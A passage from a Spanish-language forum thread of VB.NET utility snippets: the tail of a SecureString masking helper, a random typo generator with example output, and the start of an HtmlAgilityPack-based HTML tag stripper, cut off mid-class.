  236.                If maskLength = valueLength Then ' Full mask.
  237.                    startPos = 0
  238.                    endPos = valueLength - 1
  239.                Else
  240.                    If leftToRight Then ' Left to right mask.
  241.                        startPos = 0
  242.                        endPos = maskLength - 1
  243.                    Else ' Right to left mask.
  244.                        startPos = valueLength - maskLength
  245.                        endPos = valueLength - 1
  246.                    End If
  247.                End If
  248.  
  249.                For i As Integer = startPos To endPos
  250.                    Dim c As Char = input(i)
  251.                    If allowedChars.Contains(c) Then
  252.                        allowedCharIndices.Add(i, c)
  253.                    End If
  254.                Next
  255.            End If
  256.  
  257.            Dim sec As New SecureString()
  258.            If maskLength = valueLength Then ' Full mask.
  259.                For i As Integer = 0 To valueLength
  260.                    Dim dictValue As Char = Nothing
  261.                    If allowedCharIndices IsNot Nothing AndAlso allowedCharIndices.TryGetValue(i, dictValue) Then
  262.                        sec.AppendChar(dictValue)
  263.                        Continue For
  264.                    End If
  265.                    sec.AppendChar(maskCharacter)
  266.                Next
  267.  
  268.            Else
  269.                If leftToRight Then ' Left to right mask.
  270.                    For i As Integer = 0 To maskLength - 1
  271.                        Dim dictValue As Char = Nothing
  272.                        If allowedCharIndices IsNot Nothing AndAlso allowedCharIndices.TryGetValue(i, dictValue) Then
  273.                            sec.AppendChar(dictValue)
  274.                            Continue For
  275.                        End If
  276.                        sec.AppendChar(maskCharacter)
  277.                    Next
  278.                    For i As Integer = maskLength To valueLength - 1
  279.                        sec.AppendChar(input(i))
  280.                    Next
  281.                Else ' Right to left mask.
  282.                    For i As Integer = 0 To valueLength - maskLength - 1
  283.                        sec.AppendChar(input(i))
  284.                    Next
  285.                    For i As Integer = valueLength - maskLength To valueLength - 1
  286.                        Dim dictValue As Char = Nothing
  287.                        If allowedCharIndices IsNot Nothing AndAlso allowedCharIndices.TryGetValue(i, dictValue) Then
  288.                            sec.AppendChar(dictValue)
  289.                            Continue For
  290.                        End If
  291.                        sec.AppendChar(maskCharacter)
  292.                    Next
  293.                End If
  294.            End If
  295.  
  296.            Return sec
  297.        End Function
  298.  
  299.        ''' ----------------------------------------------------------------------------------------------------
  300.        ''' <summary>
  301.        ''' Masks the source string with a specific character.
  302.        ''' </summary>
  303.        ''' ----------------------------------------------------------------------------------------------------
  304.        ''' <example> This is a code example.
  305.        ''' <code language="VB.NET">
  306.        ''' Dim secureStr As New SecureString()
  307.        ''' With secureStr
  308.        '''     .AppendChar("p"c)
  309.        '''     .AppendChar("a"c)
  310.        '''     .AppendChar("s"c)
  311.        '''     .AppendChar("s"c)
  312.        '''     .AppendChar("w"c)
  313.        '''     .AppendChar("o"c)
  314.        '''     .AppendChar("r"c)
  315.        '''     .AppendChar("d"c)
  316.        ''' End With
  317.        '''
  318.        ''' Dim maskChar As Char = "*"c
  319.        ''' Dim masked As SecureString = MaskSecureString(secureStr, maskChar)
  320.        ''' </code>
  321.        ''' </example>
  322.        ''' ----------------------------------------------------------------------------------------------------
  323.        ''' <param name="value">
  324.        ''' The string to mask.
  325.        ''' </param>
  326.        '''
  327.        ''' <param name="maskCharacter">
  328.        ''' Optional. The character used for masking (default: "*").
  329.        ''' </param>
  330.        ''' ----------------------------------------------------------------------------------------------------
  331.        ''' <returns>
  332.        ''' The masked string.
  333.        ''' </returns>
  334.        ''' ----------------------------------------------------------------------------------------------------
  335.        <DebuggerStepperBoundary>
  336.        Public Shared Function MaskSecureString(value As SecureString, Optional maskCharacter As Char = "*"c) As SecureString
  337.  
  338.            Return MaskSecureString(value, maskLength:=value.Length, leftToRight:=True, allowedChars:=Nothing, maskCharacter)
  339.  
  340.        End Function
  341.  
  342.        ''' ----------------------------------------------------------------------------------------------------
  343.        ''' <summary>
  344.        ''' Masks the source string with a specific character,
  345.        ''' allowing certain characters to remain unmasked.
  346.        ''' </summary>
  347.        ''' ----------------------------------------------------------------------------------------------------
  348.        ''' <example> This is a code example.
  349.        ''' <code language="VB.NET">
  350.        ''' Dim serialKey As New SecureString()
  351.        ''' With serialKey
  352.        '''     .AppendChar("1"c)
  353.        '''     .AppendChar("2"c)
  354.        '''     .AppendChar("3"c)
  355.        '''     .AppendChar("-"c)
  356.        '''     .AppendChar("4"c)
  357.        '''     .AppendChar("5"c)
  358.        '''     .AppendChar("6"c)
  359.        '''     .AppendChar("-"c)
  360.        '''     .AppendChar("7"c)
  361.        '''     .AppendChar("8"c)
  362.        '''     .AppendChar("9"c)
  363.        ''' End With
  364.        '''
  365.        ''' Dim allowedChars As Char() = "-".ToCharArray()
  366.        ''' Dim maskChar As Char = "*"c
  367.        '''
  368.        ''' Dim masked As SecureString = MaskSecureString(serialKey, allowedChars, maskChar)
  369.        ''' </code>
  370.        ''' </example>
  371.        ''' ----------------------------------------------------------------------------------------------------
  372.        ''' <param name="value">
  373.        ''' The string to mask.
  374.        ''' </param>
  375.        '''
  376.        ''' <param name="allowedChars">
  377.        ''' An array of characters that are allowed to remain unmasked.
  378.        ''' </param>
  379.        '''
  380.        ''' <param name="maskCharacter">
  381.        ''' The character used for masking (default: "*").
  382.        ''' </param>
  383.        ''' ----------------------------------------------------------------------------------------------------
  384.        ''' <returns>
  385.        ''' The masked string.
  386.        ''' </returns>
  387.        ''' ----------------------------------------------------------------------------------------------------
  388.        <DebuggerStepperBoundary>
  389.        Public Shared Function MaskSecureString(value As SecureString, allowedChars As Char(), Optional maskCharacter As Char = "*"c) As SecureString
  390.  
  391.            Return MaskSecureString(value, maskLength:=value.Length, leftToRight:=True, allowedChars:=allowedChars, maskCharacter)
  392.  
  393.        End Function
  394.  
  395.        ''' ----------------------------------------------------------------------------------------------------
  396.        ''' <summary>
  397.        ''' Partially masks the source string with a specific character.
  398.        ''' </summary>
  399.        ''' ----------------------------------------------------------------------------------------------------
  400.        ''' <example> This is a code example.
  401.        ''' <code language="VB.NET">
  402.        ''' Dim serialKey As New SecureString()
  403.        ''' With serialKey
  404.        '''     .AppendChar("1"c)
  405.        '''     .AppendChar("2"c)
  406.        '''     .AppendChar("3"c)
  407.        '''     .AppendChar("-"c)
  408.        '''     .AppendChar("4"c)
  409.        '''     .AppendChar("5"c)
  410.        '''     .AppendChar("6"c)
  411.        '''     .AppendChar("-"c)
  412.        '''     .AppendChar("7"c)
  413.        '''     .AppendChar("8"c)
  414.        '''     .AppendChar("9"c)
  415.        ''' End With
  416.        '''
  417.        ''' Dim maskLength As Integer = 7
  418.        ''' Dim leftToRight As Boolean = True
  419.        ''' Dim maskChar As Char = "*"c
  420.        '''
  421.        ''' Dim masked As SecureString = MaskSecureString(serialKey, maskLength, leftToRight, maskChar)
  422.        ''' </code>
  423.        ''' </example>
  424.        ''' ----------------------------------------------------------------------------------------------------
  425.        ''' <param name="value">
  426.        ''' The string to mask.
  427.        ''' </param>
  428.        '''
  429.        ''' <param name="maskLength">
  430.        ''' The length of the mask.
  431.        ''' </param>
  432.        '''
  433.        ''' <param name="leftToRight">
  434.        ''' Indicates the direction of the mask (left to right or right to left).
  435.        ''' </param>
  436.        '''
  437.        ''' <param name="maskCharacter">
  438.        ''' The character used for masking (default: "*").
  439.        ''' </param>
  440.        ''' ----------------------------------------------------------------------------------------------------
  441.        ''' <returns>
  442.        ''' The masked string.
  443.        ''' </returns>
  444.        ''' ----------------------------------------------------------------------------------------------------
  445.        <DebuggerStepperBoundary>
  446.        Public Shared Function MaskSecureString(value As SecureString, maskLength As Integer, leftToRight As Boolean, Optional maskCharacter As Char = "*"c) As SecureString
  447.  
  448.            Return MaskSecureString(value, maskLength:=maskLength, leftToRight:=leftToRight, allowedChars:=Nothing, maskCharacter)
  449.  
  450.        End Function
  451.  
  452.        ''' ----------------------------------------------------------------------------------------------------
  453.        ''' <summary>
  454.        ''' Partially masks the source string with a specific character,
  455.        ''' allowing certain characters to remain unmasked.
  456.        ''' </summary>
  457.        ''' ----------------------------------------------------------------------------------------------------
  458.        ''' <example> This is a code example.
  459.        ''' <code language="VB.NET">
  460.        ''' Dim serialKey As New SecureString()
  461.        ''' With serialKey
  462.        '''     .AppendChar("1"c)
  463.        '''     .AppendChar("2"c)
  464.        '''     .AppendChar("3"c)
  465.        '''     .AppendChar("-"c)
  466.        '''     .AppendChar("4"c)
  467.        '''     .AppendChar("5"c)
  468.        '''     .AppendChar("6"c)
  469.        '''     .AppendChar("-"c)
  470.        '''     .AppendChar("7"c)
  471.        '''     .AppendChar("8"c)
  472.        '''     .AppendChar("9"c)
  473.        ''' End With
  474.        '''
  475.        ''' Dim maskLength As Integer = 7
  476.        ''' Dim leftToRight As Boolean = True
  477.        ''' Dim allowedChars As Char() = "-".ToCharArray()
  478.        ''' Dim maskChar As Char = "*"c
  479.        '''
  480.        ''' Dim masked As SecureString = MaskSecureString(serialKey, maskLength, leftToRight, allowedChars, maskChar)
  481.        ''' </code>
  482.        ''' </example>
  483.        ''' ----------------------------------------------------------------------------------------------------
  484.        ''' <param name="value">
  485.        ''' The string to mask.
  486.        ''' </param>
  487.        '''
  488.        ''' <param name="maskLength">
  489.        ''' The length of the mask.
  490.        ''' </param>
  491.        '''
  492.        ''' <param name="leftToRight">
  493.        ''' Indicates the direction of the mask (left to right or right to left).
  494.        ''' </param>
  495.        '''
  496.        ''' <param name="allowedChars">
  497.        ''' An array of characters that are allowed to remain unmasked.
  498.        ''' </param>
  499.        '''
  500.        ''' <param name="maskCharacter">
  501.        ''' The character used for masking (default: "*").
  502.        ''' </param>
  503.        ''' ----------------------------------------------------------------------------------------------------
  504.        ''' <returns>
  505.        ''' The masked string.
  506.        ''' </returns>
  507.        ''' ----------------------------------------------------------------------------------------------------
  508.        <DebuggerStepperBoundary>
  509.        Public Shared Function MaskSecureString(value As SecureString, maskLength As Integer, leftToRight As Boolean, allowedChars As Char(), Optional maskCharacter As Char = "*"c) As SecureString
  510.  
  511.            Dim managedString As String = ToManagedString(value)
  512.            Return MaskSecureString(managedString, maskLength:=maskLength, leftToRight:=leftToRight, allowedChars:=allowedChars, maskCharacter:=maskCharacter)
  513.  
  514.        End Function
  515.  
  516. #End Region
  517.  
  518. #Region " Private Methods "
  519.  
  520.        ''' ----------------------------------------------------------------------------------------------------
  521.        ''' <summary>
  522.        ''' Converts the source <see cref="Global.System.Security.SecureString"/> to a managed <see cref="String"/>.
  523.        ''' </summary>
  524.        ''' ----------------------------------------------------------------------------------------------------
  525.        ''' <example> This is a code example.
  526.        ''' <code language="VB.NET">
  527.        ''' Dim secStr As New SecureString()
  528.        ''' With secStr
  529.        '''     .AppendChar("q"c)
  530.        '''     .AppendChar("w"c)
  531.        '''     .AppendChar("e"c)
  532.        '''     .AppendChar("r"c)
  533.        '''     .AppendChar("t"c)
  534.        '''     .AppendChar("y"c)
  535.        ''' End With
  536.        '''
  537.        ''' MessageBox.Show(secStr.ToManagedString())
  538.        ''' </code>
  539.        ''' </example>
  540.        ''' ----------------------------------------------------------------------------------------------------
  541.        ''' <param name="secureString">
  542.        ''' The source <see cref="Global.System.Security.SecureString"/>.
  543.        ''' </param>
  544.        ''' ----------------------------------------------------------------------------------------------------
  545.        ''' <returns>
  546.        ''' The resulting <see cref="String"/>.
  547.        ''' </returns>
  548.        ''' ----------------------------------------------------------------------------------------------------
  549.        <DebuggerStepThrough>
  550.        <EditorBrowsable(EditorBrowsableState.Never)>
  551.        Private Shared Function ToManagedString(secureString As Global.System.Security.SecureString) As String
  552.  
  553.            If secureString Is Nothing Then
  554.                Throw New ArgumentNullException(NameOf(secureString))
  555.            End If
  556.  
  557.            If secureString.Length = 0 Then
  558.                Return ""
  559.  
  560.            Else
  561.                Dim ptr As System.IntPtr = Global.System.IntPtr.Zero
  562.  
  563.                Try
  564.                    ptr = Marshal.SecureStringToGlobalAllocUnicode(secureString)
  565.                    Return Marshal.PtrToStringUni(ptr)
  566.  
  567.                Finally
  568.                    If ptr <> IntPtr.Zero Then
  569.                        Marshal.ZeroFreeGlobalAllocUnicode(ptr)
  570.                    End If
  571.  
  572.                End Try
  573.  
  574.            End If
  575.  
  576.        End Function
  577.  
  578. #End Region
  579.  
  580.    End Class
  581.  
  582. End Namespace
  583.  
  584. #End Region
  585.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 08:25 am
He escrito este simulador / generador de errores tipográficos en un string.

No está muy pulido, pero es un comienzo de idea.

Las reglas son las siguientes:

Citar
● The error-rate percentage calculation is done for the input text length,
instead of throwing the dice for each character.

● Letters can only be replaced with different letters of the same case (upper-case or lower-case).

● Numbers can only be replaced with other (different) numbers.

● Special characters like punctuation and white-spaces will remain untouched.

Ejemplo de uso:
Código
  1. Dim inputText As String = "I possess the virtues of rapid and error-free typing. Through my precise keystrokes and unwavering focus, I consistently deliver written content efficiently and accurately.
  2.  
  3. My typing speed is unparalleled, allowing me to swiftly transcribe thoughts into written form with remarkable velocity. Each keystroke is executed with precision, enabling me to maintain a consistent flow of text while adhering to the highest standards of accuracy.
  4.  
  5. In addition to speed, my dedication to perfection ensures that typographical errors are virtually non-existent in my output. Meticulously reviewing each line of text, I meticulously detect and rectify any potential errors, guaranteeing a polished and professional final product.
  6.  
  7. Whether it's crafting detailed reports, composing compelling articles, or engaging in fast-paced communication, my quick and error-free typing abilities empower me to meet deadlines with ease and precision. I take pride in my proficiency, knowing that it contributes to a seamless and efficient workflow.
  8.  
  9. In summary, my virtuosity in fast and error-free typing is a testament to my commitment to professionalism and excellence. With swift keystrokes and unwavering accuracy, I offer a valuable asset for any task that demands efficiency, precision, and an impeccable attention to detail."
  10.  
  11. Dim errorrate As Integer = 2 ' 2 percent of the total input text length.
  12. Dim letters As Boolean = True
  13. Dim numbers As Boolean = True
  14.  
  15. Dim result As String = UtilString.GenerateTypos(inputText, errorrate, letters, numbers)
  16.  
  17. Console.WriteLine(result)

Salida:
Citar
Whether it's crafting detailed reports, composing yompelling articles, or engaging in fast-paced communication, my quick and error-free gyping abilities empower me to meet deadlines with ease and precusion. I take pride in my proriciency, knowing that it contributes to a seamless and efficient workflow.

In summary, my virtuosity in fast and error-free typing is a kestament to my commitment to professionalism and excellence. With fwift keystrokes and unwavering accuracy, I offer a valuable asset for eny task that demands efficiencv, precision, and an imxeccable attention to detail.



UtilString.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 14-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' GenerateTypos(String, Integer,  Boolean, Boolean) As String
  11.  
  12. #End Region
  13.  
  14. #End Region
  15.  
  16. #Region " Option Statements "
  17.  
  18. Option Strict On
  19. Option Explicit On
  20. Option Infer Off
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. Imports System.Collections.Generic
  27. Imports System.Text
  28.  
  29. Imports DevCase.Runtime.Numerics
  30.  
  31. #End Region
  32.  
  33. #Region " String Util "
  34.  
  35. ' ReSharper disable once CheckNamespace
  36.  
  37. Namespace DevCase.Core.DataProcessing.Common
  38.  
  39.    Partial Public NotInheritable Class UtilString
  40.  
  41. #Region " Public Methods "
  42.  
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        ''' <summary>
  45.        ''' Simulate random typographical errors in the input text, based on the specified error rate.
  46.        ''' <para></para>
  47.        ''' Rules:
  48.        ''' <para></para>
  49.        ''' &#9679; The error-rate percentage calculation is done for the input text length,
  50.        ''' instead of throwing the dice for each character.
  51.        ''' <para></para>
  52.        ''' &#9679; Letters can only be replaced with different letters of the same case (upper-case or lower-case).
  53.        ''' <para></para>
  54.        ''' &#9679; Numbers can only be replaced with different numbers.
  55.        ''' <para></para>
  56.        ''' &#9679; Special characters like punctuation and white-spaces will remain untouched.
  57.        ''' </summary>
  58.        ''' ----------------------------------------------------------------------------------------------------
  59.        ''' <example> This is a code example.
  60.        ''' <code language="VB.NET">
  61.        ''' Dim inputText As String = "I possess the virtues of rapid and error-free typing. Through my precise keystrokes and unwavering focus, I consistently deliver written content efficiently and accurately.
  62.        '''
  63.        ''' My typing speed is unparalleled, allowing me to swiftly transcribe thoughts into written form with remarkable velocity. Each keystroke is executed with precision, enabling me to maintain a consistent flow of text while adhering to the highest standards of accuracy.
  64.        '''
  65.        ''' In addition to speed, my dedication to perfection ensures that typographical errors are virtually non-existent in my output. Meticulously reviewing each line of text, I meticulously detect and rectify any potential errors, guaranteeing a polished and professional final product.
  66.        '''
  67.        ''' Whether it's crafting detailed reports, composing compelling articles, or engaging in fast-paced communication, my quick and error-free typing abilities empower me to meet deadlines with ease and precision. I take pride in my proficiency, knowing that it contributes to a seamless and efficient workflow.
  68.        '''
  69.        ''' In summary, my virtuosity in fast and error-free typing is a testament to my commitment to professionalism and excellence. With swift keystrokes and unwavering accuracy, I offer a valuable asset for any task that demands efficiency, precision, and an impeccable attention to detail."
  70.        '''
  71.        ''' Dim errorrate As Integer = 2 ' 2 percent of the total input text length.
  72.        ''' Dim letters As Boolean = True
  73.        ''' Dim numbers As Boolean = True
  74.        '''
  75.        ''' Dim result As String = GenerateTypos(inputText, errorrate, letters, numbers)
  76.        '''
  77.        ''' Console.WriteLine(result)
  78.        ''' </code>
  79.        ''' </example>
  80.        ''' ----------------------------------------------------------------------------------------------------
  81.        ''' <param name="input">
  82.        ''' The input text.
  83.        ''' </param>
  84.        '''
  85.        ''' <param name="errorRate">
  86.        ''' The error rate percentage. It must be in the range of 0 to 100.
  87.        ''' <para></para>
  88.        ''' Note: The error-rate percentage calculation is done for the input text length,
  89.        ''' instead of throwing the dice for each character.
  90.        ''' <para></para>
  91.        ''' If this value is 0, no changes are made to the input text.
  92.        ''' <para></para>
  93.        ''' If error rate is too small for the length of the input text, it may not add any typos.
  94.        ''' <para></para>
  95.        ''' Suggested values can go between 1 to 5 percent.
  96.        ''' Higher values will produce more typos, so more unrealistic simulations.
  97.        ''' </param>
  98.        '''
  99.        ''' <param name="letters">
  100.        ''' Optional. If true, allows to simulate random typographical errors in letters. Default value is True.
  101.        ''' <para></para>
  102.        ''' Note: Letters can only be replaced with different letters of the same case (upper-case or lower-case).
  103.        ''' </param>
  104.        '''
  105.        ''' <param name="numbers">
  106.        ''' Optional. If true, allows to simulate random typographical errors in numbers. Default value is True.
  107.        ''' <para></para>
  108.        ''' Note: Numbers can only be replaced with different numbers.
  109.        ''' </param>
  110.        ''' ----------------------------------------------------------------------------------------------------
  111.        ''' <returns>
  112.        ''' The resulting text with random typographical errors added.
  113.        ''' </returns>
  114.        ''' ----------------------------------------------------------------------------------------------------
  115.        Public Shared Function GenerateTypos(input As String, errorRate As Integer,
  116.                                             letters As Boolean, numbers As Boolean) As String
  117.  
  118.            If errorRate < 0 Or errorRate > 100 Then
  119.                Throw New ArgumentException($"'{NameOf(errorRate)}' must be in the range of 0 to 100.")
  120.            ElseIf errorRate = 0 Then
  121.                Return input
  122.            End If
  123.  
  124.            ' Get a proper input string length by replacing white-spaces
  125.            ' to try produce a more realistic (smaller) error rate count.
  126.            Dim charsToRemove As Char() = ",.´`+¡'!·$%&/()=?¿^;:¨*[]{}-_""".ToCharArray()
  127.            Dim inputLength As Integer = InternalReplaceChars(input, charsToRemove, Nothing, StringComparison.OrdinalIgnoreCase, -1).Length
  128.  
  129.            ' Calculate the amount of typographical errors to generate in the source string.
  130.            Dim typosCount As Integer = CInt(System.Math.Round(inputLength * errorRate / 100))
  131.            If typosCount = 0 Then
  132.                typosCount = 1
  133.            End If
  134.  
  135.            Dim sb As New StringBuilder()
  136.            Dim selectedIndices As New HashSet(Of Integer)()
  137.            Dim validIndices As New List(Of Integer)()
  138.  
  139.            For i As Integer = 0 To input.Length - 1
  140.                Dim c As Char = input(i)
  141.                If (letters AndAlso Char.IsLetter(c)) OrElse (numbers AndAlso Char.IsDigit(c)) Then
  142.                    validIndices.Add(i)
  143.                End If
  144.            Next
  145.  
  146.            If validIndices.Count = 0 Then
  147.                Return input
  148.            End If
  149.  
  150.            If validIndices.Count <= typosCount Then
  151.                For i As Integer = 0 To input.Length - 1
  152.                    Dim c As Char = input(i)
  153.                    Dim modifiedChar As Char = c
  154.                    If validIndices.Contains(i) AndAlso RandomNumberGenerator.Instance.Next(100) < errorRate Then
  155.                        If letters AndAlso Char.IsLetter(c) Then
  156.                            modifiedChar = RandomReplaceLetterOrDigit(c)
  157.                        ElseIf numbers AndAlso Char.IsDigit(c) Then
  158.                            modifiedChar = RandomReplaceLetterOrDigit(c)
  159.                        End If
  160.                    End If
  161.                    sb.Append(modifiedChar)
  162.                Next
  163.                Return sb.ToString()
  164.            End If
  165.  
  166.            While selectedIndices.Count < typosCount
  167.                Dim index As Integer = validIndices(RandomNumberGenerator.Instance.Next(validIndices.Count))
  168.                selectedIndices.Add(index)
  169.            End While
  170.  
  171.            For i As Integer = 0 To input.Length - 1
  172.                Dim c As Char = input(i)
  173.                Dim modifiedChar As Char = c
  174.                If selectedIndices.Contains(i) Then
  175.                    If letters AndAlso Char.IsLetter(c) Then
  176.                        modifiedChar = RandomReplaceLetterOrDigit(c)
  177.                    ElseIf numbers AndAlso Char.IsDigit(c) Then
  178.                        modifiedChar = RandomReplaceLetterOrDigit(c)
  179.                    End If
  180.                End If
  181.                sb.Append(modifiedChar)
  182.            Next
  183.  
  184.            Return sb.ToString()
  185.        End Function
  186.  
  187. #End Region
  188.  
  189. #Region " Private Methods "
  190.  
  191.        ''' ----------------------------------------------------------------------------------------------------
  192.        ''' <summary>
  193.        ''' Replaces text using the specified string comparison type.
  194.        ''' </summary>
  195.        ''' ----------------------------------------------------------------------------------------------------
  196.        ''' <remarks>
  197.        ''' Original source:
  198.        ''' <see href="http://www.codeproject.com/Articles/10890/Fastest-C-Case-Insenstive-String-Replace?msg=1835929#xx1835929xx"/>
  199.        ''' </remarks>
  200.        ''' ----------------------------------------------------------------------------------------------------
  201.        ''' <example> This is a code example.
  202.        ''' <code language="VB.NET">
  203.        ''' Dim str As String = "Hello World!".Replace("Hd".ToCharArray(), "_", StringComparison.OrdinalIgnoreCase)
  204.        ''' </code>
  205.        ''' </example>
  206.        ''' ----------------------------------------------------------------------------------------------------
  207.        ''' <param name="str">
  208.        ''' The source <see cref="String"/>.
  209.        ''' </param>
  210.        '''
  211.        ''' <param name="findWhat">
  212.        ''' The characters to find.
  213.        ''' </param>
  214.        '''
  215.        ''' <param name="replaceWith">
  216.        ''' The string to replace with.
  217.        ''' </param>
  218.        '''
  219.        ''' <param name="comparisonType">
  220.        ''' The string comparison type.
  221.        ''' </param>
  222.        '''
  223.        ''' <param name="stringBuilderCapacity">
  224.        ''' The initial buffer size of the <see cref="Stringbuilder"/>.
  225.        ''' This parameter is reserved for testing purposes.
  226.        ''' </param>
  227.        ''' ----------------------------------------------------------------------------------------------------
  228.        ''' <returns>
  229.        ''' The replaced string.
  230.        ''' </returns>
  231.        ''' ----------------------------------------------------------------------------------------------------
  232.        <DebuggerStepThrough>
  233.        Private Shared Function InternalReplaceChars(str As String,
  234.                                                     findWhat As IEnumerable(Of Char),
  235.                                                     replaceWith As String,
  236.                                                     comparisonType As StringComparison,
  237.                                                     stringBuilderCapacity As Integer) As String
  238.  
  239.            Dim sb As New Global.System.Text.StringBuilder(capacity:=If(stringBuilderCapacity <= 0, System.Math.Min(4096, str.Length), stringBuilderCapacity))
  240.  
  241.            Dim charFound As Boolean
  242.  
  243.            For Each c As Char In str
  244.                For Each find As Char In findWhat
  245.                    If CStr(c).Equals(find, comparisonType) Then
  246.                        charFound = True
  247.                        Exit For
  248.                    End If
  249.                Next
  250.  
  251.                If Not charFound Then
  252.                    sb.Append(c)
  253.                Else
  254.                    sb.Append(replaceWith)
  255.                    charFound = False
  256.                End If
  257.            Next
  258.  
  259.            Return sb.ToString()
  260.  
  261.        End Function
  262.  
  263. #End Region
  264.  
  265.    End Class
  266.  
  267. End Namespace
  268.  
  269. #End Region
  270.  



UtilString.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 14-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' RandomReplaceLetterOrDigit(Char) As Char
  11.  
  12. #End Region
  13.  
  14. #End Region
  15.  
  16. #Region " Option Statements "
  17.  
  18. Option Strict On
  19. Option Explicit On
  20. Option Infer Off
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. Imports DevCase.Runtime.Numerics
  27.  
  28. #End Region
  29.  
  30. #Region " String Util "
  31.  
  32. ' ReSharper disable once CheckNamespace
  33.  
  34. Namespace DevCase.Core.DataProcessing.Common
  35.  
  36.    Partial Public NotInheritable Class UtilString
  37.  
  38. #Region " Public Methods "
  39.  
  40.        ''' --------------------------------------------------------------------------------------------------
  41.        ''' <summary>
  42.        ''' Replaces a letter or digit character with a random character of the same type based on these specific rules:
  43.        ''' <para></para>
  44.        ''' &#9679; If the character is a digit ( <c>Char.IsDigit(character)</c> ),
  45.        ''' the function returns a different digit from the range "0" to "9".
  46.        ''' <para></para>
  47.        ''' &#9679; If the character is a letter ( <c>Char.IsLetter(character)</c> ):
  48.        ''' <para></para>
  49.        '''   - If it is a vowel, and it is upper-case, the function returns a different upper-case vowel.
  50.        ''' <para></para>
  51.        '''   - If it is a vowel, and it is lower-case, the function returns a different lower-case vowel.
  52.        ''' <para></para>
  53.        '''   - If it is a consonant, and it is upper-case, the function returns a different upper-case consonant.
  54.        ''' <para></para>
  55.        '''   - If it is a consonant, and it is lower-case, the function returns a different lower-case consonant.
  56.        ''' <para></para>
  57.        ''' &#9679; If the character is neither a letter nor a digit, the function returns the same character.
  58.        ''' </summary>
  59.        ''' --------------------------------------------------------------------------------------------------
  60.        ''' <param name="character">
  61.        ''' The character to be replaced.
  62.        ''' </param>
  63.        ''' --------------------------------------------------------------------------------------------------
  64.        ''' <returns>
  65.        ''' If the character is a letter or digit, returns a random character of the same type;
  66.        ''' otherwise, returns the same character.
  67.        ''' </returns>
  68.        ''' --------------------------------------------------------------------------------------------------
  69.        <DebuggerStepThrough>
  70.        Public Shared Function RandomReplaceLetterOrDigit(character As Char) As Char
  71.  
  72.            Dim availableChars As Char()
  73.  
  74.            If Char.IsDigit(character) Then
  75.                availableChars = "0123456789".ToCharArray()
  76.  
  77.            ElseIf Char.IsLetter(character) Then
  78.                availableChars = If(Char.IsUpper(character),
  79.                    If("AEIOU".Contains(character),
  80.                       "AEIOU".ToCharArray(),
  81.                       "BCDFGHJKLMNPQRSTVWXYZ".ToCharArray()),
  82.                    If("aeiou".Contains(character),
  83.                       "aeiou".ToCharArray(),
  84.                       "bcdfghjklmnpqrstvwxyz".ToCharArray()))
  85.  
  86.            Else
  87.                Return character
  88.                ' Throw New ArgumentException("The character is neither a letter nor a digit.", paramName:=NameOf(character))
  89.  
  90.            End If
  91.  
  92.            Dim randomChar As Char
  93.            Do
  94.                randomChar = availableChars(RandomNumberGenerator.Instance.Next(availableChars.Length))
  95.            Loop While randomChar = character
  96.  
  97.            Return randomChar
  98.        End Function
  99.  
  100. #End Region
  101.  
  102.    End Class
  103.  
  104. End Namespace
  105.  
  106. #End Region
  107.  



RandomNumberGenerator.vb
https://foro.elhacker.net/net_c_vbnet_asp/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2272581#msg2272581 (https://foro.elhacker.net/net_c_vbnet_asp/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2272581#msg2272581)



Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 08:32 am
Aquí les dejo una función para eliminar los tags html de un código html y dejar solo el texto, lo que se conoce como "html stripper".

Se necesita la librería HtmlAgilityPack: https://www.nuget.org/packages/HtmlAgilityPack (https://www.nuget.org/packages/HtmlAgilityPack)

Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 17-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' StripHtml(String, String()) As String
  11.  
  12. #End Region
  13.  
  14. #End Region
  15.  
  16. #Region " Option Statements "
  17.  
  18. Option Strict On
  19. Option Explicit On
  20. Option Infer Off
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. Imports System.Collections.Generic
  27. Imports System.Collections.ObjectModel
  28. Imports System.ComponentModel
  29. Imports System.Linq
  30.  
  31. Imports HtmlAgilityPack
  32.  
  33. #End Region
  34.  
  35. #Region " HtmlAgilityPack Util "
  36.  
  37. ' ReSharper disable once CheckNamespace
  38.  
  39. Namespace DevCase.ThirdParty.HtmlAgilityPack
  40.  
  41.    ''' ----------------------------------------------------------------------------------------------------
  42.    ''' <summary>
  43.    ''' Contains HtmlAgilityPack related utilities.
  44.    ''' </summary>
  45.    ''' ----------------------------------------------------------------------------------------------------
  46.    ''' <remarks>
  47.    ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  48.    ''' <para></para>
  49.    ''' <see href="https://www.nuget.org/packages/HtmlAgilityPack">HtmlAgilityPack</see>
  50.    ''' </remarks>
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    <ImmutableObject(True)>
  53.    Public NotInheritable Class UtilHtmlAgilityPack
  54.  
  55. #Region " Constructors "
  56.  
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        ''' <summary>
  59.        ''' Prevents a default instance of the <see cref="UtilHtmlAgilityPack"/> class from being created.
  60.        ''' </summary>
  61.        ''' ----------------------------------------------------------------------------------------------------
  62.        ''' <remarks>
  63.        ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  64.        ''' <para></para>
  65.        ''' <see href="https://www.nuget.org/packages/HtmlAgilityPack">HtmlAgilityPack</see>
